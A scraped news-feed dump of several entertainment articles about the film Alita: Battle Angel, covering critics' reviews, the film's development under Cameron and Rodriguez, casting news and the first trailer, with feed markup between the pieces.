Critics and moviegoers all have different tastes, and one person’s hit is another person’s flop.

On the whole, critics took issue with lack of exposition and reliance on CGI for storytelling.

The CGI is impressive according to movie reviews, but can’t make up for haphazard storytelling.

A DOG’S WAY HOME REVIEWS: WHAT DO CRITICS SAY ABOUT A DOG’S WAY HOME?

Tim Robey at the Daily Telegraph wrote: “It’ll remind you of 50 other films at least, from The Fifth Element to Blade Runner, and for anyone unlucky enough to have seen it, the crashingly tedious Total Recall remake.”

Anne Cohen at Refinery29 took special issue with the male gaze rampant in the film.

She wrote: “I wish Alita: Battle Angel had been made by a woman.

“The cyberpunk action film inspired by Yukito Kishiro’s manga Gunnm, could have been a game-changer in the way women — and specifically teenage girls — are portrayed on screen.

BUMBLEBEE REVIEWS: WHAT DO CRITICS SAY ABOUT THE TRANSFORMERS PREQUEL?

“A bounty-hunter cyborg with the power to bring down toxic masculinity? Sign me up!

“But alas — Robert Rodriguez directed James Cameron’s pet project, and instead of a complex, vibrant female character, Alita (Rosa Salazar) is reduced to a wide-eyed young woman (literally, her CGI-avatar eyes are huge) who feels more like a male fantasy than a woman’s idea of a hero.”

Another criticism levelled at Alita: Battle Angel is the obviousness with which it sets up sequels.

ScreenJunkies writer Dan Murrel expressed exasperation at watching a movie “about the seven other movies they’re going to make after this one.”

GLASS REVIEWS: WHAT ARE THE CRITICS SAYING ABOUT GLASS?

A parallel could easily be drawn between Alita: Battle Angle, a would-be franchise, and Michael Bay’s Transformers franchise, which suffered from the same problem.

With Bumblebee, however, Bay’s lascivious camera was traded for a younger, less sexualised one.

The result was a critically acclaimed movie that reinvigorated the Transformers franchise, sans male gaze.

Alita: Battle Angel seems to be suffering the fate that Bumblebee avoided, simply by making its main character a complex and well-rounded girl in an unbelievable sci-fi world.

STAN AND OLLIE REVIEWS: WHAT DO CRITICS SAY ABOUT THE COMEDY?

Of the plethora of characters, Cohen reported only four spoke and they almost never spoke to each other.

This is a clear failure of the Bechdel test. And though the Bechdel test does not guarantee critical success, it is a pretty good indicator according to this study.

Reviews as a whole have focussed on the mechanism of the movie – its CGI and clunky script.

However, Cohen aptly focusses on the one point which should have made Alita: Battle Angel great, Alita herself; ultimately, the movie let her down.

Alita: Battle Angel is out in UK cinemas on February 6, 2019.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/alita-panned-by-critics-what-is-wrong-with-alita-battle-angel-why-is-it-so-bad/feed/ 0
Robert Rodriguez explains why his movie adaptation of famous manga ‘Alita: Battle Angel’ won’t make the mistake ‘Ghost in the Shell’ did https://briefnews.eu/robert-rodriguez-explains-why-his-movie-adaptation-of-famous-manga-alita-battle-angel-wont-make-the-mistake-ghost-in-the-shell-did/ https://briefnews.eu/robert-rodriguez-explains-why-his-movie-adaptation-of-famous-manga-alita-battle-angel-wont-make-the-mistake-ghost-in-the-shell-did/#respond Mon, 30 Apr 2018 00:59:15 +0000 http://briefnews.eu/robert-rodriguez-explains-why-his-movie-adaptation-of-famous-manga-alita-battle-angel-wont-make-the-mistake-ghost-in-the-shell-did/ alita battle angel 2 foxFox

  • Robert Rodriguez and producer Jon Landau (“Avatar”) talked to Business Insider at CinemaCon about the evolution of bringing “Alita: Battle Angel” to the screen.
  • It was originally a project James Cameron was to make, after he discovered the manga around 2000. However, the success of “Avatar” changed everything.
  • Rodriguez has resurrected the project, and explained how it will still feel like a Cameron movie, and why it won’t make the mistakes of recent manga release, “Ghost in the Shell.”

Before James Cameron made “Avatar” and broke all box-office records, he was planning on making the big-screen adaptation of “Battle Angel Alita,” the famous manga series created by Yukito Kishiro.

In fact, Cameron’s deep dive around 2000 into the rich material about a cyborg named Alita (played in the movie by Rose Salazar) who tries to rediscover her past after being found in a garbage heap by a cybernetics doctor, wasn’t just going to be a single movie but a franchise.

See the rest of the story at Business Insider

NOW WATCH: Jeff Bezos reveals what it’s like to build an empire and become the richest man in the world — and why he’s willing to spend $ 1 billion a year to fund the most important mission of his life

See Also:

SEE ALSO: “Equalizer 2” director Antoine Fuqua talks about getting Denzel Washington to do his first sequel ever — and teases a “Scarface” reboot

]]>
https://briefnews.eu/robert-rodriguez-explains-why-his-movie-adaptation-of-famous-manga-alita-battle-angel-wont-make-the-mistake-ghost-in-the-shell-did/feed/ 0
‘Alita: Battle Angel’ Star Will Appear as an Extra in Her Own Movie https://briefnews.eu/alita-battle-angel-star-will-appear-as-an-extra-in-her-own-movie/ https://briefnews.eu/alita-battle-angel-star-will-appear-as-an-extra-in-her-own-movie/#respond Sun, 25 Mar 2018 06:12:40 +0000 http://briefnews.eu/alita-battle-angel-star-will-appear-as-an-extra-in-her-own-movie/ Battle Angel star

It may not happen every day, but it’s not uncommon for the same actor to play multiple roles in a single movie. But how often have we seen the lead actor in a film also play an extra in the same film? That’s far more rare, but according to Rosa Salazar, the Alita: Battle Angel star who’s headlining Robert Rodriguez‘s adaptation of the acclaimed Japanese manga, we’re going to see it happen when she plays dual roles later this year.

Latino Review points us to a video from a SXSW party at Rodriguez’s Troublemaker Studios in Austin, Texas, where the Alita: Battle Angel star reveals that she talked her way into being an extra in her own movie:

Based on the popular manga series Battle Angel Alita by Yukito Kishiro and set in a dystopian future, the film tells the story of a scientist (Christoph Waltz) who discovers a destroyed amnesiac cyborg named Alita (Salazar), fixes her up, and raises her as his own. But powerful forces soon upend their lifestyle and come after Alita, who must reckon with the events of her past.

This is Salazar’s first time leading a major movie, and though she jokes about having range in that video, she’s already proven she has plenty in her career thus far. She’s especially solid in Man Seeking Woman, a brilliant-but-cancelled FXX comedy that not nearly enough people have seen. Even if you’re not looking forward to Alita – and I can’t really blame you, since those huge anime eyes appear to be a little much – I’d highly recommend watching the three seasons of Man Seeking Woman.

Here’s the film’s official synopsis:

Visionary filmmakers James Cameron (AVATAR) and Robert Rodriguez (SIN CITY) create a groundbreaking new heroine in ALITA: BATTLE ANGEL, an action-packed story of hope, love and empowerment. Set several centuries in the future, the abandoned Alita (Rosa Salazar) is found in the scrapyard of Iron City by Ido (Christoph Waltz), a compassionate cyber-doctor who takes the unconscious cyborg Alita to his clinic. When Alita awakens she has no memory of who she is, nor does she have any recognition of the world she finds herself in. Everything is new to Alita, every experience a first. As she learns to navigate her new life and the treacherous streets of Iron City, Ido tries to shield Alita from her mysterious past while her street-smart new friend, Hugo (Keean Johnson), offers instead to help trigger her memories. A growing affection develops between the two until deadly forces come after Alita and threaten her newfound relationships. It is then that Alita discovers she has extraordinary fighting abilities that could be used to save the friends and family she’s grown to love. Determined to uncover the truth behind her origin, Alita sets out on a journey that will lead her to take on the injustices of this dark, corrupt world, and discover that one young woman can change the world in which she lives.

Alita: Battle Angel arrives in theaters on December 21, 2018.

The post ‘Alita: Battle Angel’ Star Will Appear as an Extra in Her Own Movie appeared first on /Film.

]]>
https://briefnews.eu/alita-battle-angel-star-will-appear-as-an-extra-in-her-own-movie/feed/ 0
James Cameron’s ‘Alita: Battle Angel’ stars creepy CG anime eyes https://briefnews.eu/james-camerons-alita-battle-angel-stars-creepy-cg-anime-eyes/ https://briefnews.eu/james-camerons-alita-battle-angel-stars-creepy-cg-anime-eyes/#respond Sat, 09 Dec 2017 12:54:38 +0000 http://briefnews.eu/james-camerons-alita-battle-angel-stars-creepy-cg-anime-eyes/

James Cameron has been toying with the idea of remaking Battle Angel Alita for decades now (seriously, I wrote about it back in 2009). Now, with its first trailer, the anime adaptation finally seems to be more than a myth. It centers on a scientist (Christoph Waltz) who discovers and repairs a trashed cyborg, Alita (Rose Salazar). And, as these stories tend to go , it turns out she’s a bit of an ass-kicking powerhouse. (Her giant CG anime eyes might be enough to make her enemies cower in fear, though.)

Unfortunately, Cameron isn’t directing the film — he handed over those duties to Robert Rodriguez two years ago, after he decided the world needs several Avatar sequels. And while Rodriguez hasn’t had any huge successes lately, the trailer seems more reminiscent of the guy who made Sin City, and not the one who made Sin City: A Dame to Kill For.

Engadget RSS Feed

]]>
https://briefnews.eu/james-camerons-alita-battle-angel-stars-creepy-cg-anime-eyes/feed/ 0
‘Alita: Battle Angel’ Trailer: Robert Rodriguez and James Cameron Make a Cyborg Movie https://briefnews.eu/alita-battle-angel-trailer-robert-rodriguez-and-james-cameron-make-a-cyborg-movie/ https://briefnews.eu/alita-battle-angel-trailer-robert-rodriguez-and-james-cameron-make-a-cyborg-movie/#respond Fri, 08 Dec 2017 19:46:00 +0000 http://briefnews.eu/alita-battle-angel-trailer-robert-rodriguez-and-james-cameron-make-a-cyborg-movie/ alita battle angel

James Cameron and Robert Rodriguez make very different kinds of movies, which makes their collaboration on Alita: Battle Angel all the more intriguing. After years of delays, Cameron left the director’s chair on this big-budget adaptation of the Japanese manga, opting instead to produce while Rodriguez stepped behind the camera.

But what does a film directed by Robert Rodriguez, known for his scrappy and energetic experiments, and produced by Cameron, known for pushing the boundaries of film technology forward to produce slick and glossy blockbusters, look like? The first Alita: Battle Angel trailer is here to show us.

Alita: Battle Angel Trailer

Based on the manga series Battle Angel Alita by Yukito Kishiro, the film follows a scientist (Christoph Waltz) who discovers a wrecked cyborg named Alita (Rosa Salazar) and decides to repair her and take her under his wing as a surrogate daughter. Naturally, all of this happens in the distant future, a dystopia where the powerful have retreated to the skies and left the poor down on a ruined Earth.

While every conversation about Alita: Battle Angel begins with “Isn’t it crazy that James Cameron and Robert Rodriguez are making a movie together?”, the two have more in common than you’d think. After all, got their start by pulling themselves up by their bootstraps and making well-regarded movies (The Terminator and El Mariachi) for pennies. After all, both have stayed ahead of the curve when it comes to technology, with Rodriguez embracing digital video before everyone else and Cameron advancing all kinds of tech to get his movies made.

And now, both have something to prove: Rodriguez hasn’t made anything truly exciting in a decade and Cameron appears to be permanently stuck in Avatar-land. Alita: Battle Angel is a chance for both filmmakers to remind us that they’re pioneers with the power to shake the industry. I hope they both rise to the occasion.

Alita: Battle Angels is also produced by frequent Cameron collaborator Jon Landau. Cameron wrote the screenplay with Laeta Kalogridis. In addition to Salazar and Waltz, the cast includes Mahershala Ali, Keean Johnson, Jennifer Connelly, Ed Skrein, Michelle Rodriguez, and Jackie Earle Haley. The film is scheduled to hit theaters on July 20, 2018.

The post ‘Alita: Battle Angel’ Trailer: Robert Rodriguez and James Cameron Make a Cyborg Movie appeared first on /Film.

/Film

]]>
https://briefnews.eu/alita-battle-angel-trailer-robert-rodriguez-and-james-cameron-make-a-cyborg-movie/feed/ 0
Michelle Rodriguez Joins Robert Rodriguez’s ‘Alita: Battle Angel’ https://briefnews.eu/michelle-rodriguez-joins-robert-rodriguezs-alita-battle-angel/ https://briefnews.eu/michelle-rodriguez-joins-robert-rodriguezs-alita-battle-angel/#respond Thu, 23 Feb 2017 04:32:52 +0000 http://briefnews.eu/michelle-rodriguez-joins-robert-rodriguezs-alita-battle-angel/ Michelle Rodriguez Alita Battle Angel

Filming just wrapped on director Robert Rodriguez and screenwriter James Cameron‘s Alita: Battle Angel, but another cast member has just been announced. Michelle Rodriguez, who’s worked with both Rodriguez and Cameron, is a part of the adaptation of Yukito Kishiro‘s Japanese manga. The news comes only a few short weeks after we learned Jennifer Connelly has a role in the 3D sci-fi action movie.

Below, learn more about the Michelle Rodriguez Battle Angel casting news.

Entertainment Weekly reports the actress is playing Gelda, a cyborg whom Alita at one point considers her master. She’s a key figure from Alita’s past. Rodriguez’s character is known for her compassion, fighting skills, and the eye black she applies to her face before battle. Rodriguez joins a cast that already includes Christoph Waltz (Django Unchained), Oscar nominee Mahershala Ali (Moonlight), Jackie Earle Haley (Little Children), Ed Skrein (Deadpool), and, the actor playing the titular character, Rosa Salazar.

Writer and artist Yukito Kishiro created Battle Angel Alita in the 1990s. Kishiro’s story is set in the distant future and follows a young female cyborg. A kind doctor played by Waltz discovers Alita in a junkyard. With no memories of her past life, she searches for the truth.

Initially, Cameron wanted to take a shot at Kishiro’s manga after making Titanic. The visionary filmmaker acquired the rights in 1999 and spent many years developing his adaptation. Once he took a trip to Pandora, though, he left the director’s chair of Alita: Battle Angel and handed the job off to Rodriguez. While Cameron is busy with his four Avatar sequels, he’s still involved in Rodriguez’s movie. Cameron is producing the 3D movie alongside Jon Landau.

Rodriguez co-starred in Rodriguez’s Machete and Machete Kills as Luz. With Cameron, of course, she collaborated on one of the biggest movies of all time, Avatar. A couple of years after those movies came out the actress rejoined the Resident Evil and Fast and Furious franchises. Rodriguez, who had an unforgettable breakout role in Girlfight, has been lining up some solid jobs lately, including Alita: Battle Angel. She stars in director Walter Hill’s (The Warriors) upcoming revenge thriller, The Assignment. That movie looks potentially polarizing, but she still got to work with one of the greats. Speaking of one of the greats, Rodriguez most recently signed up for Steve McQueen’s follow-up to 12 Years a Slave, Widows, a Gillian Flynn-scripted heist movie we can’t wait to see.

Alita: Battle Angel opens in theaters July 20th, 2018.

The post Michelle Rodriguez Joins Robert Rodriguez’s ‘Alita: Battle Angel’ appeared first on /Film.


/Film

]]>
https://briefnews.eu/michelle-rodriguez-joins-robert-rodriguezs-alita-battle-angel/feed/ 0